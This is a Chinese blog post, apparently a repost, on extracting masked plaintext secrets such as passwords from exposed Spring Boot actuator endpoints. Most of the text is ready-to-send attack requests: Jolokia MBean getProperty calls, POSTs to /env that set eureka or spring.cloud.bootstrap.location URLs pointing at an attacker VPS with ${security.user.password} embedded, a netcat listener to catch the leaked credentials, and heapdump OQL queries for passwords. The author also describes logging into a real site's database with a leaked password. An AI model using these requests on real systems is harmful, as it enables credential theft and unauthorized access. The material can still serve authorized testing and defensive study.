获取spring boot脱敏属性明文

原文链接:https://www.jianshu.com/p/ae4be3af5231

获取spring boot脱敏属性明文

img

Tide_诺言

IP属地: 山东

12020.09.07 17:10:18字数 1,339阅读 8,861

前言

之前对spring boot的敏感信息泄露和rce漏洞进行了整理复现。
https://www.jianshu.com/p/8c18f1e05c94
前段时间看到师傅们通过获取env端点脱敏的数据库密码成功getshell,自己也动手尝试下。

spring boot 获取env端点脱敏数据

当访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret、key等)的属性名对应的属性值用 * 号替换达到脱敏的效果。
如果对属性名的命名不规范,则会导致敏感信息直接明文显示出来。
如下为实战中遇到的一个网站。
数据库密码属性明文不规范,password命名为了passwd,导致密码直接明文显示出来。

img

数据库地址为外网地址,直接登录,成功获取到了数据库权限。

img

正常情况下spring actuator会使用*号进行脱敏处理。

img

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ******关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名,尝试进行脱敏处理,获取明文。

方法一

利用条件:

1、目标网站存在 /jolokia 或 /actuator/jolokia 接口
2、目标使用了 jolokia-core 依赖(版本要求暂未知)

利用过程:

jolokia 调用相关 Mbean 获取明文
调用 org.springframework.boot Mbean

实际调用的是 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

调用 org.springframework.cloud.context.environment Mbean(需要 spring cloud 相关依赖)

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

POST /jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

spring 2.x

POST /actuator/jolokia
Content-Type: application/json

{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}

img

方法二

利用条件

1、可以 GET 请求目标网站的 /env
2、可以 POST 请求目标网站的 /env
3、可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)
4、目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
5、目标可出网

利用过程

使用 nc 监听 HTTP 请求
1、在自己控制的外网服务器上监听 80 端口:

nc -lvk 80

2、设置 eureka.client.serviceUrl.defaultZone 属性
修改security.user.password为想要读取的密文。

img

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}-vps-ip

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}

3、访问/refresh端点刷新配置

img

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

4、 解码属性值

正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容:

Authorization: Basic dmFsdWU6MTIzNDU2

使用base64解码得到明文。

img

方法三

利用条件:

1、通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求
2、请求可出外网

利用过程:

参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据

1、找到想要获取的属性名

GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 ****** 关键词,确定其对应的属性名。

img

2、 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvk 80

img

3、触发对外 http 请求

spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况):

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}

spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}

eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况):

img

spring 1.x

POST /env
Content-Type: application/x-www-form-urlencoded

eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x

POST /actuator/env
Content-Type: application/json

{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}

4、刷新配置

img

spring 1.x

POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

POST /actuator/refresh
Content-Type: application/json

vps成功接收到密码。

img

方法四

利用条件

1、目标不出网,且/jolokia 接口没有合适的 MBean 或者不支持 POST 请求
2、目标存在/heapdump 或 /actuator/heapdump端点

利用过程

1、首先找到想要获取的属性名

img

2、下载 jvm heap 信息
访问/heapdump 或 /actuator/heapdump端点,下载应用实时的 JVM 堆信息。

img

spring boot 1.x版本下载的heapdump文件包含了时间以及后缀,在spring boot 2.x版本,需要把下载到的heapdump文件修改为hprof后缀。

img

3、使用 Eclipse Memory Analyzer 获得 jvm heap 中的密码明文
下载地址:https://www.eclipse.org/mat/downloads.php
运行Eclipse Memory Analyzer,把文件导入进去,点击OQL输入执行的查询语句,点击感叹号执行语句。

img

select * from org.springframework.web.context.support.StandardServletEnvironment

查找想要查看的密码属性,理论来说spring boot 1.x版本redis密码存在java.util.Hashtable$Entry实例的键值对中,2.x版本存储在java.util.LinkedHashMap$Entry实例的键值对中,实际情况中,无论1.x和2.x版本这2个实例都有可能存储密码属性,也可能存储在一些其它实例中,需要自行查找。

img

搜索存储在java.util.LinkedHashMap$Entry实例的密码属性。

select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))

img

搜索存储在java.util.Hashtable$Entry实例的密码属性。

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))

img

注意事项

POST访问env端点修改属性,会破坏原有属性,影响网站系统正常使用。请在取得授权后进行测试,并且记录原有属性值,测试完成后及时修改回去,防止不必要的麻烦。

参考链接

https://zhuanlan.zhihu.com/p/147251883
https://github.com/LandGrey/SpringBootVulExploit

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值